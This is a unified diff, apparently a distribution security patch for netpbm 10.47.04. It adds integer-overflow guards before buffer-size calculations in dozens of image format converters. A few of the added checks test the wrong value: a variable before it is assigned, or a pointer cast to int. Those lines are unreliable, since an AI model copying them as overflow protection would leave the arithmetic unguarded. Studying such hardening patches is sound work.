--- netpbm-10.47.04/converter/other/jpegtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/jpegtopnm.c	2009-10-21 15:54:30.000000000 +0200
@@ -861,6 +861,8 @@ convertImage(FILE *                     
     /* Calculate output image dimensions so we can allocate space */
     jpeg_calc_output_dimensions(cinfoP);
 
+    overflow2(cinfoP->output_width, cinfoP->output_components);
+
     /* Start decompressor */
     jpeg_start_decompress(cinfoP);
 
diff -up netpbm-10.47.04/converter/other/pbmtopgm.c.security netpbm-10.47.04/converter/other/pbmtopgm.c
--- netpbm-10.47.04/converter/other/pbmtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pbmtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -47,6 +47,7 @@ main(int argc, char *argv[]) {
                  "than the image height (%u rows)", height, rows);
 
     outrow = pgm_allocrow(cols) ;
+    overflow2(width, height);
     maxval = MIN(PGM_OVERALLMAXVAL, width*height);
     pgm_writepgminit(stdout, cols, rows, maxval, 0) ;
 
diff -up netpbm-10.47.04/converter/other/pngtopnm.c.security netpbm-10.47.04/converter/other/pngtopnm.c
diff -up netpbm-10.47.04/converter/other/pnmtoddif.c.security netpbm-10.47.04/converter/other/pnmtoddif.c
--- netpbm-10.47.04/converter/other/pnmtoddif.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtoddif.c	2009-10-21 15:09:33.000000000 +0200
@@ -632,6 +632,7 @@ main(int argc, char *argv[]) {
     switch (PNM_FORMAT_TYPE(format)) {
     case PBM_TYPE:
         ip.bits_per_pixel = 1;
+        overflow_add(cols, 7);
         ip.bytes_per_line = (cols + 7) / 8;
         ip.spectral = 2;
         ip.components = 1;
@@ -647,6 +648,7 @@ main(int argc, char *argv[]) {
         ip.polarity = 2;
         break;
     case PPM_TYPE:
+        overflow2(cols, 3);
         ip.bytes_per_line = 3 * cols;
         ip.bits_per_pixel = 24;
         ip.spectral = 5;
diff -up netpbm-10.47.04/converter/other/pnmtojpeg.c.security netpbm-10.47.04/converter/other/pnmtojpeg.c
--- netpbm-10.47.04/converter/other/pnmtojpeg.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtojpeg.c	2009-10-21 15:56:32.000000000 +0200
@@ -605,7 +605,11 @@ read_scan_script(j_compress_ptr const ci
            want JPOOL_PERMANENT.  
         */
         const unsigned int scan_info_size = nscans * sizeof(jpeg_scan_info);
-        jpeg_scan_info * const scan_info = 
+        const jpeg_scan_info * scan_info;
+      
+        overflow2(nscans, sizeof(jpeg_scan_info));
+      
+        scan_info =
             (jpeg_scan_info *)
             (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
                                         scan_info_size);
@@ -936,6 +940,8 @@ compute_rescaling_array(JSAMPLE ** const
   const long half_maxval = maxval / 2;
   long val;
 
+  overflow_add(maxval, 1);
+  overflow2(maxval+1, sizeof(JSAMPLE));
   *rescale_p = (JSAMPLE *)
     (cinfo.mem->alloc_small) ((j_common_ptr) &cinfo, JPOOL_IMAGE,
                               (size_t) (((long) maxval + 1L) * 
@@ -1014,6 +1020,7 @@ convert_scanlines(struct jpeg_compress_s
     */
 
   /* Allocate the libpnm output and compressor input buffers */
+  overflow2(cinfo_p->image_width, cinfo_p->input_components);
   buffer = (*cinfo_p->mem->alloc_sarray)
     ((j_common_ptr) cinfo_p, JPOOL_IMAGE,
      (unsigned int) cinfo_p->image_width * cinfo_p->input_components, 
diff -up netpbm-10.47.04/converter/other/pnmtops.c.security netpbm-10.47.04/converter/other/pnmtops.c
--- netpbm-10.47.04/converter/other/pnmtops.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtops.c	2009-10-21 15:09:33.000000000 +0200
@@ -186,16 +186,20 @@ parseCommandLine(int argc, char ** argv,
     cmdlineP->canturn =  !noturn;
     cmdlineP->showpage = !noshowpage;
     
+    overflow2(width, 72);
     cmdlineP->width  = width * 72;
+    overflow2(height, 72);
     cmdlineP->height = height * 72;
 
-    if (imagewidthSpec)
+    if (imagewidthSpec) {
+        overflow2(imagewidth, 72);
         cmdlineP->imagewidth = imagewidth * 72;
-    else
+    } else
         cmdlineP->imagewidth = 0;
-    if (imageheightSpec)
+    if (imageheightSpec) {
+        overflow2(imageheight, 72);
         cmdlineP->imageheight = imageheight * 72;
-    else
+    } else
         cmdlineP->imageheight = 0;
 
     if (!cmdlineP->psfilter &&
diff -up netpbm-10.47.04/converter/other/pnmtorle.c.security netpbm-10.47.04/converter/other/pnmtorle.c
--- netpbm-10.47.04/converter/other/pnmtorle.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtorle.c	2009-10-21 15:09:33.000000000 +0200
@@ -19,6 +19,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /*
  * pnmtorle - A program which will convert pbmplus (ppm or pgm) images
diff -up netpbm-10.47.04/converter/other/pnmtosgi.c.security netpbm-10.47.04/converter/other/pnmtosgi.c
--- netpbm-10.47.04/converter/other/pnmtosgi.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtosgi.c	2009-10-21 15:09:33.000000000 +0200
@@ -213,6 +213,22 @@ write_channels(cols, rows, channels, put
     }
 }
 
+static void *
+xmalloc2(int x, int y)
+{
+    void *mem;
+
+    overflow2(x,y);
+    if( x * y == 0 )
+        return NULL;
+
+    mem = malloc2(x, y);
+    if( mem == NULL )
+        pm_error("out of memory allocating %d bytes", x * y);
+    return mem;
+}
+
+
 static void
 put_big_short(short s)
 {
@@ -250,6 +266,7 @@ build_channels(FILE *ifp, int cols, int 
 #endif
 
     if( storage != STORAGE_VERBATIM ) {
+        overflow2(channels, rows);
         MALLOCARRAY_NOFAIL(table, channels * rows);
         MALLOCARRAY_NOFAIL(rletemp, WORSTCOMPR(cols));
     }
@@ -303,6 +320,8 @@ compress(temp, row, rows, cols, chan_no,
             break;
         case STORAGE_RLE:
             tabrow = chan_no * rows + row;
+            overflow2(chan_no, rows);
+            overflow_add(chan_no* rows, row);
             len = rle_compress(temp, cols);    /* writes result into rletemp */
             channel[chan_no][row].length = len;
             MALLOCARRAY(p, len);
diff -up netpbm-10.47.04/converter/other/rletopnm.c.security netpbm-10.47.04/converter/other/rletopnm.c
--- netpbm-10.47.04/converter/other/rletopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/rletopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -19,6 +19,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /*
  * rletopnm - A conversion program to convert from Utah's "rle" image format
diff -up netpbm-10.47.04/converter/other/sgitopnm.c.security netpbm-10.47.04/converter/other/sgitopnm.c
--- netpbm-10.47.04/converter/other/sgitopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/sgitopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -252,13 +252,17 @@ read_channels(ifp, head, table, func, oc
 
     if (ochan < 0) {
         maxchannel = (head->zsize < 3) ? head->zsize : 3;
+        overflow2(head->ysize, maxchannel);
         MALLOCARRAY_NOFAIL(image, head->ysize * maxchannel);
     } else {
         maxchannel = ochan + 1;
         MALLOCARRAY_NOFAIL(image, head->ysize);
     }
-    if ( table ) 
+    if ( table ) {
+        overflow2(head->xsize, 2);
+        overflow_add(head->xsize*2, 2);
         MALLOCARRAY_NOFAIL(temp, WORSTCOMPR(head->xsize));
+    }
 
     for( channel = 0; channel < maxchannel;  channel++ ) {
 #ifdef DEBUG
diff -up netpbm-10.47.04/converter/other/sirtopnm.c.security netpbm-10.47.04/converter/other/sirtopnm.c
--- netpbm-10.47.04/converter/other/sirtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/sirtopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -69,6 +69,7 @@ char* argv[];
 	    }
 	    break;
 	case PPM_TYPE:
+	    overflow3(cols, rows, 3);
 	    picsize = cols * rows * 3;
 	    planesize = cols * rows;
             if ( !( sirarray = (unsigned char*) malloc( picsize ) ) ) 
diff -up netpbm-10.47.04/converter/other/tifftopnm.c.security netpbm-10.47.04/converter/other/tifftopnm.c
--- netpbm-10.47.04/converter/other/tifftopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/tifftopnm.c	2009-10-21 15:49:29.000000000 +0200
@@ -1291,7 +1291,9 @@ convertRasterByRows(pnmOut *       const
     if (scanbuf == NULL)
         pm_error("can't allocate memory for scanline buffer");
 
-    MALLOCARRAY(samplebuf, cols * spp);
+    /* samplebuf is unsigned int * !!! */
+    samplebuf = (unsigned int *) malloc3(cols , sizeof(unsigned int) , spp);
+
     if (samplebuf == NULL)
         pm_error("can't allocate memory for row buffer");
 
diff -up netpbm-10.47.04/converter/other/xwdtopnm.c.security netpbm-10.47.04/converter/other/xwdtopnm.c
--- netpbm-10.47.04/converter/other/xwdtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/xwdtopnm.c	2009-10-21 15:53:27.000000000 +0200
@@ -209,6 +209,10 @@ processX10Header(X10WDFileHeader *  cons
         *colorsP = pnm_allocrow(2);
         PNM_ASSIGN1((*colorsP)[0], 0);
         PNM_ASSIGN1((*colorsP)[1], *maxvalP);
+        overflow_add(h10P->pixmap_width, 15);
+        if(h10P->pixmap_width < 0)
+            pm_error("assert: negative width");
+        overflow2((((h10P->pixmap_width + 15) / 16) * 16 - h10P->pixmap_width), 8);
         *padrightP =
             (((h10P->pixmap_width + 15) / 16) * 16 - h10P->pixmap_width) * 8;
         *bits_per_itemP = 16;
@@ -634,6 +638,7 @@ processX11Header(X11WDFileHeader *  cons
 
     *colsP = h11FixedP->pixmap_width;
     *rowsP = h11FixedP->pixmap_height;
+    overflow2(h11FixedP->bytes_per_line, 8);
     *padrightP =
         h11FixedP->bytes_per_line * 8 -
         h11FixedP->pixmap_width * h11FixedP->bits_per_pixel;
diff -up netpbm-10.47.04/converter/pbm/icontopbm.c.security netpbm-10.47.04/converter/pbm/icontopbm.c
--- netpbm-10.47.04/converter/pbm/icontopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/icontopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -11,6 +11,7 @@
 */
 
 #include <string.h>
+#include <limits.h>
 
 #include "nstring.h"
 #include "pbm.h"
@@ -87,6 +88,11 @@ ReadIconFile(FILE *                const
     if ( *heightP <= 0 )
         pm_error( "invalid height (must be positive): %d", *heightP );
 
+    if ( *widthP > INT_MAX - 16 || *widthP < 0)
+        pm_error( "invalid width: %d", *widthP);
+    
+    overflow2(*widthP + 16, *heightP);
+    
     data_length = BitmapSize( *widthP, *heightP );
     *dataP = (short unsigned int *) malloc( data_length );
     if ( *dataP == NULL )
diff -up netpbm-10.47.04/converter/pbm/mdatopbm.c.security netpbm-10.47.04/converter/pbm/mdatopbm.c
--- netpbm-10.47.04/converter/pbm/mdatopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/mdatopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -245,10 +245,13 @@ main(int argc, char **argv) {
         pm_readlittleshort(infile, &yy); nInCols = yy;
     }
     
+    overflow2(nOutCols, 8);
     nOutCols = 8 * nInCols;
     nOutRows = nInRows;
-    if (bScale) 
+    if (bScale) {
+        overflow2(nOutRows, 2);
         nOutRows *= 2;
+    }
 
     data = pbm_allocarray(nOutCols, nOutRows);
     
diff -up netpbm-10.47.04/converter/pbm/mgrtopbm.c.security netpbm-10.47.04/converter/pbm/mgrtopbm.c
--- netpbm-10.47.04/converter/pbm/mgrtopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/mgrtopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -65,6 +65,8 @@ readMgrHeader(FILE *          const ifP,
     if (head.h_high < ' ' || head.l_high < ' ')
         pm_error("Invalid width field in MGR header");
     
+    overflow_add(*colsP, pad);
+
     *colsP = (((int)head.h_wide - ' ') << 6) + ((int)head.l_wide - ' ');
     *rowsP = (((int)head.h_high - ' ') << 6) + ((int) head.l_high - ' ');
     *padrightP = ( ( *colsP + pad - 1 ) / pad ) * pad - *colsP;
diff -up netpbm-10.47.04/converter/pbm/pbmto10x.c.security netpbm-10.47.04/converter/pbm/pbmto10x.c
--- netpbm-10.47.04/converter/pbm/pbmto10x.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmto10x.c	2009-10-21 15:09:33.000000000 +0200
@@ -162,7 +162,7 @@ main(int argc, char * argv[]) {
         res_60x72();
 
     pm_close(ifp);
-    exit(0);
+    return 0;
 }
 
 
diff -up netpbm-10.47.04/converter/pbm/pbmto4425.c.security netpbm-10.47.04/converter/pbm/pbmto4425.c
--- netpbm-10.47.04/converter/pbm/pbmto4425.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmto4425.c	2009-10-21 15:09:33.000000000 +0200
@@ -2,6 +2,7 @@
 
 #include "nstring.h"
 #include "pbm.h"
+#include <string.h>
 
 static char bit_table[2][3] = {
 {1, 4, 0x10},
@@ -160,7 +161,7 @@ main(int argc, char * argv[]) {
     xres = vmap_width * 2;
     yres = vmap_height * 3;
 
-    vmap = malloc(vmap_width * vmap_height * sizeof(char));
+    vmap = malloc3(vmap_width, vmap_height, sizeof(char));
     if(vmap == NULL)
 	{
         pm_error( "Cannot allocate memory" );
diff -up netpbm-10.47.04/converter/pbm/pbmtoascii.c.security netpbm-10.47.04/converter/pbm/pbmtoascii.c
--- netpbm-10.47.04/converter/pbm/pbmtoascii.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoascii.c	2009-10-21 15:09:33.000000000 +0200
@@ -115,9 +115,11 @@ char* argv[];
         pm_usage( usage );
 
     pbm_readpbminit( ifp, &cols, &rows, &format );
+    overflow_add(cols, gridx);
     ccols = ( cols + gridx - 1 ) / gridx;
     bitrow = pbm_allocrow( cols );
     sig = (int*) pm_allocrow( ccols, sizeof(int) );
+    overflow_add(ccols, 1);
     line = (char*) pm_allocrow( ccols + 1, sizeof(char) );
 
     for ( row = 0; row < rows; row += gridy )
diff -up netpbm-10.47.04/converter/pbm/pbmtocmuwm.c.security netpbm-10.47.04/converter/pbm/pbmtocmuwm.c
diff -up netpbm-10.47.04/converter/pbm/pbmtogem.c.security netpbm-10.47.04/converter/pbm/pbmtogem.c
--- netpbm-10.47.04/converter/pbm/pbmtogem.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtogem.c	2009-10-21 15:09:33.000000000 +0200
@@ -123,6 +123,7 @@ putinit (rows, cols)
   bitsperitem = 0;
   bitshift = 7;
   outcol = 0;
+  overflow_add(cols, 7);
   outmax = (cols + 7) / 8;
   outrow = (unsigned char *) pm_allocrow (outmax, sizeof (unsigned char));
   lastrow = (unsigned char *) pm_allocrow (outmax, sizeof (unsigned char));
diff -up netpbm-10.47.04/converter/pbm/pbmtogo.c.security netpbm-10.47.04/converter/pbm/pbmtogo.c
--- netpbm-10.47.04/converter/pbm/pbmtogo.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtogo.c	2009-10-21 15:09:33.000000000 +0200
@@ -158,6 +158,7 @@ main(int           argc,
     bitrow = pbm_allocrow(cols);
 
     /* Round cols up to the nearest multiple of 8. */
+    overflow_add(cols, 7);
     rucols = ( cols + 7 ) / 8;
     bytesperrow = rucols;       /* GraphOn uses bytes */
     rucols = rucols * 8;
diff -up netpbm-10.47.04/converter/pbm/pbmtoicon.c.security netpbm-10.47.04/converter/pbm/pbmtoicon.c
--- netpbm-10.47.04/converter/pbm/pbmtoicon.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoicon.c	2009-10-21 15:38:55.000000000 +0200
@@ -114,6 +114,7 @@ writeIcon(FILE *       const ifP,
     unsigned char * bitrow;
     unsigned int row;
 
+    overflow_add(cols, 15);
     bitbuffer = pbm_allocrow_packed(cols + wordintSize);
     bitrow = &bitbuffer[1];
     bitbuffer[0] = 0;
diff -up netpbm-10.47.04/converter/pbm/pbmtolj.c.security netpbm-10.47.04/converter/pbm/pbmtolj.c
--- netpbm-10.47.04/converter/pbm/pbmtolj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtolj.c	2009-10-21 15:09:33.000000000 +0200
@@ -120,7 +120,11 @@ parseCommandLine(int argc, char ** argv,
 static void
 allocateBuffers(unsigned int const cols) {
 
+    overflow_add(cols, 8);
     rowBufferSize = (cols + 7) / 8;
+    overflow_add(rowBufferSize, 128);
+    overflow_add(rowBufferSize, rowBufferSize+128);
+    overflow_add(rowBufferSize+10, rowBufferSize/8);
     packBufferSize = rowBufferSize + (rowBufferSize + 127) / 128 + 1;
     deltaBufferSize = rowBufferSize + rowBufferSize / 8 + 10;
 
diff -up netpbm-10.47.04/converter/pbm/pbmtomacp.c.security netpbm-10.47.04/converter/pbm/pbmtomacp.c
--- netpbm-10.47.04/converter/pbm/pbmtomacp.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtomacp.c	2009-10-21 15:09:33.000000000 +0200
@@ -101,6 +101,7 @@ char *argv[];
   if( !lflg )
     left = 0;
 
+  overflow_add(left, MAX_COLS - 1);
   if( rflg )
   { if( right - left >= MAX_COLS )
       right = left + MAX_COLS - 1;
@@ -111,6 +112,8 @@ char *argv[];
   if( !tflg )
     top = 0;
 
+  overflow_add(top, MAX_LINES - 1);
+
   if( bflg )
   { if( bottom - top >= MAX_LINES )
       bottom = top + MAX_LINES - 1;
diff -up netpbm-10.47.04/converter/pbm/pbmtomda.c.security netpbm-10.47.04/converter/pbm/pbmtomda.c
--- netpbm-10.47.04/converter/pbm/pbmtomda.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtomda.c	2009-10-21 15:09:33.000000000 +0200
@@ -179,6 +179,7 @@ int main(int argc, char **argv)
     
     nOutRowsUnrounded = bScale ? nInRows/2 : nInRows;
 
+    overflow_add(nOutRowsUnrounded, 3);
     nOutRows = ((nOutRowsUnrounded + 3) / 4) * 4;
         /* MDA wants rows a multiple of 4 */   
     nOutCols = nInCols / 8;
diff -up netpbm-10.47.04/converter/pbm/pbmtomgr.c.security netpbm-10.47.04/converter/pbm/pbmtomgr.c
diff -up netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c.security netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c
--- netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -105,6 +105,7 @@ int pbm_readline(pbm_stat* pbm,unsigned 
     return 0;
 
   case P4:
+    overflow_add(pbm->width, 7);
     tmp=(pbm->width+7)/8;
     tmp2=fread(data,1,tmp,pbm->fptr);
     if(tmp2 == tmp)
@@ -129,7 +130,8 @@ void pbm_unreadline (pbm_stat *pbm, void
     return;
 
   pbm->unread = 1;
-  pbm->revdata = malloc ((pbm->width+7)/8);
+  overflow_add(pbm->width, 7);
+  pbm->revdata = malloc((pbm->width+7)/8);
   memcpy (pbm->revdata, data, (pbm->width+7)/8);
   pbm->current_line--;
 }
diff -up netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c.security netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c
--- netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c	2009-10-21 15:09:33.000000000 +0200
@@ -441,6 +441,7 @@ main(int argc, char *argv[]) {
             pm_error("main(): unrecognized parameter '%s'", argv[argn]);
     }
 
+    overflow_add(Width, 7);
     Pwidth=(Width+7)/8;
     printer.fptr=out;
 
diff -up netpbm-10.47.04/converter/pbm/pbmtoxbm.c.security netpbm-10.47.04/converter/pbm/pbmtoxbm.c
--- netpbm-10.47.04/converter/pbm/pbmtoxbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoxbm.c	2009-10-21 15:36:54.000000000 +0200
@@ -335,6 +335,8 @@ convertRaster(FILE *          const ifP,
 
     unsigned char * bitrow;
     unsigned int row;
+    
+    overflow_add(cols, padright);
 
     putinit(xbmVersion);
 
diff -up netpbm-10.47.04/converter/pbm/pbmtoybm.c.security netpbm-10.47.04/converter/pbm/pbmtoybm.c
--- netpbm-10.47.04/converter/pbm/pbmtoybm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoybm.c	2009-10-21 15:09:33.000000000 +0200
@@ -45,6 +45,7 @@ main( argc, argv )
     bitrow = pbm_allocrow( cols );
     
     /* Compute padding to round cols up to the nearest multiple of 16. */
+    overflow_add(cols, 16);
     padright = ( ( cols + 15 ) / 16 ) * 16 - cols;
 
     putinit( cols, rows );
diff -up netpbm-10.47.04/converter/pbm/pbmtozinc.c.security netpbm-10.47.04/converter/pbm/pbmtozinc.c
--- netpbm-10.47.04/converter/pbm/pbmtozinc.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtozinc.c	2009-10-21 15:09:33.000000000 +0200
@@ -65,6 +65,7 @@ main(int argc, char * argv[]) {
     bitrow = pbm_allocrow( cols );
 
     /* Compute padding to round cols up to the nearest multiple of 16. */
+    overflow_add(cols, 16);
     padright = ( ( cols + 15 ) / 16 ) * 16 - cols;
 
     printf( "USHORT %s[] = {\n",name);
diff -up netpbm-10.47.04/converter/pbm/pktopbm.c.security netpbm-10.47.04/converter/pbm/pktopbm.c
--- netpbm-10.47.04/converter/pbm/pktopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pktopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -277,6 +277,7 @@ main(int argc, char *argv[]) {
         if (flagbyte == 7) {            /* long form preamble */
             integer packetlength = get32() ;    /* character packet length */
             car = get32() ;         /* character number */
+            overflow_add(packetlength, pktopbm_pkloc);
             endofpacket = packetlength + pktopbm_pkloc;
                 /* calculate end of packet */
             if ((car >= MAXPKCHAR) || !filename[car]) {
diff -up netpbm-10.47.04/converter/pbm/thinkjettopbm.l.security netpbm-10.47.04/converter/pbm/thinkjettopbm.l
--- netpbm-10.47.04/converter/pbm/thinkjettopbm.l.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/thinkjettopbm.l	2009-10-21 15:09:33.000000000 +0200
@@ -107,7 +107,9 @@ DIG             [0-9]
 <RASTERMODE>\033\*b{DIG}+W  {
                             int l;
                             if (rowCount >= rowCapacity) {
+				overflow_add(rowCapacity, 100);
                                 rowCapacity += 100;
+				overflow2(rowCapacity, sizeof *rows);
                                 rows = realloc (rows, rowCapacity * sizeof *rows);
                                 if (rows == NULL)
                                     pm_error ("Out of memory.");
@@ -217,6 +219,8 @@ yywrap (void)
     /*
      * Quite simple since ThinkJet bit arrangement matches PBM
      */
+
+    overflow2(maxRowLength, 8);
     pbm_writepbminit(stdout, maxRowLength*8, rowCount, 0);
 
     packed_bitrow = malloc(maxRowLength);
diff -up netpbm-10.47.04/converter/pbm/ybmtopbm.c.security netpbm-10.47.04/converter/pbm/ybmtopbm.c
--- netpbm-10.47.04/converter/pbm/ybmtopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/ybmtopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -88,6 +88,7 @@ getinit( file, colsP, rowsP, depthP, pad
 	pm_error( "EOF / read error" );
 
     *depthP = 1;
+    overflow_add(*colsP, 15);
     *padrightP = ( ( *colsP + 15 ) / 16 ) * 16 - *colsP;
     bitsperitem = 0;
     }
diff -up netpbm-10.47.04/converter/pgm/lispmtopgm.c.security netpbm-10.47.04/converter/pgm/lispmtopgm.c
--- netpbm-10.47.04/converter/pgm/lispmtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/pgm/lispmtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -58,6 +58,7 @@ main( argc, argv )
         pm_error( "depth (%d bits) is too large", depth);
 
     pgm_writepgminit( stdout, cols, rows, (gray) maxval, 0 );
+    overflow_add(cols, 7);
     grayrow = pgm_allocrow( ( cols + 7 ) / 8 * 8 );
 
     for ( row = 0; row < rows; ++row )
@@ -102,7 +103,9 @@ getinit( file, colsP, rowsP, depthP, pad
     
     if ( *depthP == 0 )
 	*depthP = 1;	/* very old file */
-    
+
+    overflow_add((int)colsP, 31);
+        
     *padrightP = ( ( *colsP + 31 ) / 32 ) * 32 - *colsP;
     
     if ( *colsP != (cols_32 - *padrightP) ) {
diff -up netpbm-10.47.04/converter/pgm/psidtopgm.c.security netpbm-10.47.04/converter/pgm/psidtopgm.c
--- netpbm-10.47.04/converter/pgm/psidtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/pgm/psidtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -78,6 +78,7 @@ main(int     argc,
         pm_error("bits/sample (%d) is too large.", bitspersample);
 
     pgm_writepgminit(stdout, cols, rows, maxval, 0);
+    overflow_add(cols, 7);
     grayrow = pgm_allocrow((cols + 7) / 8 * 8);
     for (row = 0; row < rows; ++row) {
         unsigned int col;
diff -up netpbm-10.47.04/converter/ppm/ilbmtoppm.c.security netpbm-10.47.04/converter/ppm/ilbmtoppm.c
--- netpbm-10.47.04/converter/ppm/ilbmtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ilbmtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -594,6 +594,7 @@ decode_row(FILE *          const ifP,
     rawtype *chp;
 
     cols = bmhdP->w;
+    overflow_add(cols, 15);
     bytes = RowBytes(cols);
     for( plane = 0; plane < nPlanes; plane++ ) {
         int mask;
@@ -681,6 +682,23 @@ decode_mask(FILE *          const ifP,
  Multipalette handling
  ****************************************************************************/
 
+static void *
+xmalloc2(x, y)
+    int x;
+    int y;
+{
+    void *mem;
+
+    overflow2(x,y);
+    if( x * y == 0 )
+        return NULL;
+
+    mem = malloc2(x,y);
+    if( mem == NULL )
+        pm_error("out of memory allocating %d bytes", x * y);
+    return mem;
+}
+
 
 static void
 multi_adjust(cmap, row, palchange)
@@ -1300,6 +1318,9 @@ dcol_to_ppm(FILE *         const ifP,
     if( redmaxval != maxval || greenmaxval != maxval || bluemaxval != maxval )
         pm_message("scaling colors to %d bits", pm_maxvaltobits(maxval));
     
+    overflow_add(redmaxval, 1);
+    overflow_add(greenmaxval, 1);
+    overflow_add(bluemaxval, 1);
     MALLOCARRAY_NOFAIL(redtable,   redmaxval   +1);
     MALLOCARRAY_NOFAIL(greentable, greenmaxval +1);
     MALLOCARRAY_NOFAIL(bluetable,  bluemaxval  +1);
@@ -1729,7 +1750,9 @@ PCHG_ConvertSmall(PCHG, cmap, mask, data
             ChangeCount32 = *data++;
             datasize -= 2;
 
+            overflow_add(ChangeCount16, ChangeCount32);
             changes = ChangeCount16 + ChangeCount32;
+            overflow_add(changes, 1);
             for( i = 0; i < changes; i++ ) {
                 if( totalchanges >= PCHG->TotalChanges ) goto fail;
                 if( datasize < 2 ) goto fail;
@@ -1994,6 +2017,9 @@ read_pchg(FILE *     const ifp,
             cmap->mp_change[i] = NULL;
         if( PCHG.StartLine < 0 ) {
             int nch;
+            if(PCHG.MaxReg < PCHG.MinReg)
+                pm_error("assert: MinReg > MaxReg");
+            overflow_add(PCHG.MaxReg-PCHG.MinReg, 2);
             nch = PCHG.MaxReg - PCHG.MinReg +1;
             MALLOCARRAY_NOFAIL(cmap->mp_init, nch + 1);
             for( i = 0; i < nch; i++ )
@@ -2070,6 +2096,7 @@ process_body( FILE *          const ifp,
     if( typeid == ID_ILBM ) {
         int isdeep;
 
+        overflow_add(bmhdP->w, 15);
         MALLOCARRAY_NOFAIL(ilbmrow, RowBytes(bmhdP->w));
         *viewportmodesP |= fakeviewport;      /* -isham/-isehb */
 
diff -up netpbm-10.47.04/converter/ppm/imgtoppm.c.security netpbm-10.47.04/converter/ppm/imgtoppm.c
--- netpbm-10.47.04/converter/ppm/imgtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/imgtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -84,6 +84,7 @@ main(int argc, char ** argv) {
             len = atoi((char*) buf );
             if ( fread( buf, len, 1, ifp ) != 1 )
                 pm_error( "bad colormap buf" );
+            overflow2(cmaplen, 3);
             if ( cmaplen * 3 != len )
             {
                 pm_message(
@@ -105,6 +106,7 @@ main(int argc, char ** argv) {
                 pm_error( "bad pixel data header" );
             buf[8] = '\0';
             len = atoi((char*) buf );
+            overflow2(cols, rows);
